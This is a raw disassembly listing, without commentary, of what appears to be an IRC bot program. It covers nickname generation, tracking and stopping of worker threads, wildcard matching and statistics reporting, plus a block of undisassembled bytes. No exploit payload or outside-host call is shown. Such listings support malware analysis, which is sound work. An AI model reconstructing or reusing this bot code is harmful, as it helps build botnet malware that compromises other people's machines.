loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 26A0B9Fh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431250
		push	eax
		push	esi
		nop
		call	near ptr 26D0000h
		movsx	eax, byte_431250
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx


loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx


loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx


loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65


loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F


loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26A0B9Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431254
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA


loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4


loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D128
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26E05B4h
		call	near ptr 26A0B9Fh
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_43127C


loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431278
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_431274
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431270
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43126C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431268
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431264
		jz	short loc_40AFA0


loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431260


loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431258
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4


loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE


loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 26A0B9Fh
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B022
		mov	eax, offset dword_43D128


loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431280
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------


loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B04D
		mov	eax, offset dword_43D128


loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D58C


loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------


loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D604
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D590[eax*4]
		pop	ecx


loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCB0


loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACB0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------


loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCB0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEB0[esi], eax
		and	dword_43DEB4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEB8[esi], 0
		mov	dword_43DEBC[esi], eax
		and	byte_43DEC8[esi], 0
		pop	esi


loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2E4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0B0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEC4[esi]
		lea	edi, dword_43DEC4[esi]
		nop
		call	near ptr 26A0C3Ch
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp


loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEB8[esi]
		mov	dword_43DEB0[esi], ebx
		mov	dword_43DEB4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx


loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEBC[esi]
		mov	byte ptr dword_43DCB0[esi], bl
		mov	byte_43DEC8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB00C
		lea	esi, dword_43DEC0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB00C
		mov	[esi], ebx
		pop	edi


loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCB0


loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx


loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACB0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEB4


loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327


loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]


loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEB4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEB0


loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax


loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEB0


loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEC4[eax], ecx
		mov	dword_43DEB0[eax], ecx
		mov	dword_43DEB4[eax], ecx
		mov	dword_43DEB8[eax], ecx
		mov	dword_43DEBC[eax], ecx
		mov	dword_43DEC0[eax], ecx
		mov	byte ptr dword_43DCB0[eax], cl
		mov	byte_43DEC8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------


loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------


loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax


loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi


loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562


loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi


loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------


loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1


loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax


loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------


loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------


loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F


loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------


loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------


loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3


loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1


loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]


loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317A4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431408, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431410


loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431798
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi


loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
